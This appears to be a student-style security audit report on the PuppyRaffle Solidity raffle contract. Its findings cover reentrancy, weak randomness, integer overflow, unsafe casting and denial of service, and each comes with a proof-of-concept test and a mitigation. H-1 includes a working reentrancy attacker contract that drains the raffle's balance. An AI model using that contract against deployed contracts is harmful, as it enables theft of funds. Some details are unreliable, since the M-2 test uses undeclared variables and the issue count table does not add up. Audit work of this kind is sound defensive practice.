PuppyRaffle Audit Report

Version 1.0

March 11, 2024

Protocol Audit Report

Nanachiki

March 11, 2024

Prepared by: - Nanachiki

Table of Contents

- Table of Contents
- Protocol Summary
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High
    - [H-1] Reentrancy attack in `PuppyRaffle::refund` allows draining raffle balance
    - [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy
    - [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees
  - Medium
    - [M-1] Looping through the `players` array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

    - [M-2] Casting the `PuppyRaffle::fee` in the `PuppyRaffle::selectWinner` from a `uint256` to `uint64` can cause Unsafe casting
    - [M-3] Smart contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new contest
  - Low
    - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
  - Gas
    - [G-1] Unchanged state variables should be declared as immutable or constant
    - [G-2] Storage variables in a loop should be cashed
  - Informational/Non-Crits
    - [I-1] Solidity pragma should be specific, not wide
    - [I-2] Using an outdated version of Solidity is not recommended
    - [I-3] Missing checks for `address(0)` when assigning values to address state variables
    - [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
    - [I-5] Use of magic numbers is discouraged
    - [I-6] State changes are missing events
    - [I-7] _isActivePlayer is never used and should be removed

Protocol Summary

Puppy Raffle is a raffle project designed to allow users to enter to win a cute dog NFT. The project allows for multiple entries without the use of duplicate addresses. Periodically, the raffle will select a winner and mint a random puppy NFT, while participants also have the option to refund. Entrant fees are collected by the owner of the protocol, who retains a portion, with the remainder distributed to the winner of the puppy.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

When examining the code base, many of the issues I encountered could have been detected by using static analysis tools like Slither and Aderyn.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Info	2
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows draining raffle balance

Description: The `PuppyRaffle::refund` does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund`, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1  function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6  @>      payable(msg.sender).sendValue(entranceFee);
7  @>      players[playerIndex] = address(0);
8          emit RaffleRefunded(playerAddress);
9      }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. The user enters the raffle.
2. The attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`.
3. The attacker enters the raffle.
4. The attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code:

Place the following into `PuppyRaffleTest.s.sol`.

```
function test_ReentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(
            attackerContract).balance;
        uint256 startingPuppyRaffleBalance = address(puppyRaffle).
            balance;

        // Attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("Starting attacker contract balance: ",
            startingAttackContractBalance);
        console.log("Starting contract balance: ",
            startingPuppyRaffleBalance);

        console.log("Ending attacker contract balance: ", address(
            attackerContract).balance);
        console.log("Ending puppyRaffle balance: ", address(puppyRaffle
            ).balance);
    }
```

And this contract as well.

```

contract ReentrancyAttacker {
```

```
3       PuppyRaffle puppyRaffle;
4       uint256 entranceFee;
5       uint256 attackerIndex;
6
7       constructor(PuppyRaffle _puppyRaffle) {
8           puppyRaffle = _puppyRaffle;
9           entranceFee = puppyRaffle.entranceFee();
10      }
11
12      function attack() external payable {
13          address[] memory players = new address[](1);
14          players[0] = address(this);
15          puppyRaffle.enterRaffle{value: entranceFee}(players);
16          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
17          puppyRaffle.refund(attackerIndex);
18      }
19
20      function _stealMoney() internal {
21          if (address(puppyRaffle).balance >= entranceFee) {
22              puppyRaffle.refund(attackerIndex);
23          }
24      }
25
26      fallback() external payable {
27          _stealMoney();
28      }
29
30      receive() external payable {
31          _stealMoney();
32      }
33  }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. Users can mine/manipulate their `msg.sender` to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions before `0.8.0` were subject to Integer overflows.

```
uint64 myVar = type(uint64).max;
// 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We have 50 players at a raffle.
2. Conclude the first raffle with 50 players.
3. Then We have another 50 players at a new raffle.
4. Conclude the second raffle. And the fees should be like:

```
totalFees = 18000000000000000000 + uint64(fee);

totalFees = 18000000000000000000 + 18000000000000000000;
// An integer overflow causes us to have a lesser amount of 'totalFees'
    even though we just finished the second raffle
totalFees = 1553255926290448384;
```

5. We also can't withdraw the `totalFees` due to the conditional statement in the `PuppyRaffle::withdrawFees`.

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

Place the following test into `PuppyRaffle::PuppyRaffleTest.t.sol`.

```
function testInteferOverFlowTotalFees() public {
        // We start a raffle with 50 players
        address[] memory firstParticipants = new address[](50);
        for (uint256 i = 0; i < firstParticipants.length; i++) {
            firstParticipants[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: firstParticipants.length *
           entranceFee}(firstParticipants);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        // Conclude the first raffle
        puppyRaffle.selectWinner();
        uint256 firstEntrantFees = puppyRaffle.totalFees();
        // 18000000000000000000
        console.log("Fees for the first raffle: ", firstEntrantFees);

        // Then we have another 50 players to strike a new raffle up
        address[] memory secondParticipants = new address[](50);
        for (uint256 i = 0; i < secondParticipants.length; i++) {
            secondParticipants[i] = address(i + 50);
        }
        puppyRaffle.enterRaffle{value: secondParticipants.length *
           entranceFee}(secondParticipants);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        uint256 secondEntrantFees = (secondParticipants.length *
           entranceFee * 20) / 100;
```

```
25          // 1000000000000000000
26          console.log("Fees for the second raffle: ", secondEntrantFees);
27          // Conclude the second raffle of the 50 players
28          puppyRaffle.selectWinner();
29
30          uint256 finalFees = puppyRaffle.totalFees();
31          // 1553255926290448384
32          console.log("Final fees: ", finalFees);
33
34          // You'll notice that the sum of all the fees has decreased
                compared to the fees we obtained at the first raffle due to
                integer overflow.
35          assert(finalFees < firstEntrantFees);
36
37          // We also can't withdraw the fees because of the conditional
                statement in the "withdrawFees"
38          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
39          puppyRaffle.withdrawFees();
40          assert(address(puppyRaffle).balance != finalFees);
41      }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity ^0.8.18;
```

2. You could also use a `SafeMath` library of OpenZeppelin for version 0.7.6 of Solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Use a `uint256` insted of a `uint64` for `totalFees`.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
```

4. Remove the balance check from `PuppyRaffle::withdrawFees`.

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

Medium

[M-1] Looping through the `players` array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```
// @audit Dos attack
@>     for (uint256 i = 0; i < players.length - 1; i++) {
         for (uint256 j = i + 1; j < players.length; j++) {
             require(players[i] != players[j], "PuppyRaffle: Duplicate
                player");
         }
       }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in queue.

An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such:

- 1st 100 players: ~6252048 gas
- 2st 100 players: ~18068138 gas

This is more than 3x more expensive for the second 100 players.

Place the following test into `PuppyRaffleTest.t.sol`.

```
function test_DenialOfService() public {
        // Foundry lets us set a gas price
        vm.txGasPrice(1);

        // Creates 100 players
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
```

```
10          }
11
12          // Gas calculations for first 100 players
13          uint256 gasStart = gasleft();
14          puppyRaffle.enterRaffle{value: entranceFee * players.length}(
                players);
15          uint256 gasEnd = gasleft();
16          uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
17          console.log("Gas cost of the first 100 players: ", gasUsedFirst
                );
18
19          // Creates another array of 100 players
20          address[] memory playersTwo = new address[](playersNum);
21          for (uint256 i = 0; i < playersNum; i++) {
22              playersTwo[i] = address(i + playersNum);
23          }
24
25          // Gas calculations for second 100 players
26          uint256 gasStartSecond = gasleft();
27          puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length
                }(playersTwo);
28          uint256 gasEndSecond = gasleft();
29          uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
                gasprice;
30          console.log("Gas cost of the second 100 players: ",
                gasUsedSecond);
31
32          assert(gasUsedFirst < gasUsedSecond);
33      }
```

Recommended Mitigation: There are a few recommended mitigations.

- Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
- Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 Id, and the mapping would be a player address mapped to the raffle Id.

```
1  +       mapping(address => uint256) public addressToRaffleId;
2  +       uint256 public raffleId = 0;
3         .
4         .
5         .
6         function enterRaffle(address[] memory newPlayers) public payable
              {
7           require(msg.value == entranceFee * newPlayers.length, "
                PuppyRaffle: Must send enough to enter raffle");
8           for (uint256 i = 0; i < newPlayers.length; i++) {
```

```
9               players.push(newPlayers[i]);
10  +           addressToRaffleId[newPlayers[i]] = raffleId;
11          }
12
13  -        // Check for duplicates
14  +        // Check for duplicates only from the new players
15  +        for (uint256 i = 0 i < newPlayers.length; i++) {
16  +                require(addressToRaffleId[newPlayers[i]] != raffleId,
    "PuppyRaffle: Duplicate player");
17  +        }
18  -        for (uint256 i = 0; i < players.length - 1; i++) {
19  -            for (uint256 j = i + 1; j < players.length; j++) {
20  -                require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
21  -            }
22  -        }
23          emit RaffleEnter(newPlayers);
24      }
25  .
26  .
27  .
28      function selectWinner() external {
29  +         raffleId = raffleId + 1;
30            require(block.timestamp >= raffleStartTime + raffleDuration,
                "PuppyRaffle: Raffle not over");
31      }
```

- Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Casting the `PuppyRaffle::fee` in the `PuppyRaffle::selectWinner` from a `uint256` to `uint64` can cause Unsafe casting

Description: The unsafe casting to a `uint64` can cause its value to be different from the correct value.

Impact: The protocol calculates the `PuppyRaffle::fee` amount in the `uint256` range first, which will likely be larger than the max range of a `uint64`. So, if that amount is larger than `type(uint64).max` and cast to a `uint64` type, the balance can be warped into a small amount. This indicates that the protocol has a high possibility of losing a large amount of fees they collected.

Proof of Concept:

1. We have 100 players in a raffle.
2. The fee amount would be cast like this:

```
1  // 20000000000000000000
2  uint256 fee = (players.length * entranceFee) * 20 / 100;
```

```
// 0 = 0 + 1553255926290448384
totalFees = totalFees + uint64(fee);
```

Place the following test into `PuppyRaffleTest.t.sol`.

```
function test_unsafeCastingTotalFees() public {
        // We have 100 players in a raffle
        address[] memory players = new address[](100);
        for (uint256 i = 0; i < players.length; i++) {
            players[i] = address(i);
        }

        puppyRaffle.enterRaffle{value: players.length * entranceFee}(
            players);

        // Calculate the fee amount before casting it to uint64
        uint256 feeAmountBeforeCast = (players.length * entranceFee) *
            20 / 100;
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();

        // Get the fee amount after casting
        uint256 feeAmountAfterCast = puppyRaffle.totalFees();

        console.log("The fee amount before casting: ",
            totalFeesBeforeCast);
        console.log("The fee amount after casting : ",
            totalFeesAfterCast);
        console.log("The max value of a uint64    : ", type(uint64).max
            );
    }
```

Recommended Mitigation: Don't declare the `PuppyRaffle::totalFees` variable as a `uint64` to avoid casting the `fee` in the `selectWinner` function.

[M-3] Smart contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::getSlectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would also win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting owness on the winner to claim their prize. (Recommended)

> Pull over Push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1 /// @return the index of the player in the array, if they are not
      active, it returns 0
2     function getActivePlayerIndex(address player) external view returns
          (uint256) {
3         for (uint256 i = 0; i < players.length; i++) {
4             if (players[i] == player) {
5                 return i;
6             }
7         }
8         return 0;
9     }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. A user enters the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. The user thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared as immutable or constant

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cashed

Every time you call `players.length`, as opposed to memory which is more gas-efficient.

```
+    uint256 playersLength = players.length;
-    for (uint256 i = 0; i < players.length - 1; i++) {
+    for (uint256 i = 0; i < playersLength - 1; i++) {
-        for (uint256 j = i + 1; j < players.length; j++) {
+        for (uint256 j = i + 1; j < playersLength; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate
                player");
        }
    }
```

Informational/Non-Crits

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended

Solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement

Recommendation Deploy with any of the following Solidity versions: `0.8.18` The recommendations take into account:

```
1 Risks related to recent releases
2 Risks of complex code generation changes
3 Risks of new language features
4 Risks of known bugs
```

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 64
- Found in src/PuppyRaffle.sol Line: 174
- Found in src/PuppyRaffle.sol Line: 192

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to keep the code clean and follow CEI (Checks, Effects, Interactions).

```
1 -         (bool success,) = winner.call{value: prizePool}("");
2 -         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
3           _safeMint(winner, tokenId);
4 +         (bool success,) = winner.call{value: prizePool}("");
5 +         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-5] Use of magic numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readble if the numbers are given a name.

Examples:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POO_PRESISION = 100;
```

[I-6] State changes are missing events

A lack of emitted events can often lead to difficulty for external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples: - `PuppyRaffle::totalFees` within the `selectWinner` function. - `PuppyRaffle::raffleStartTime` within the `selectWinner` function. - `PuppyRaffle::totalFees` with the `withdrawFees` function.

[I-7] _isActivePlayer is never used and should be removed

Description: The `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
- function _isActivePlayer() internal view returns (bool) {
-         for (uint256 i = 0; i < players.length; i++) {
-             if (players[i] == msg.sender) {
-                 return true;
-             }
-         }
-         return false;
-     }
```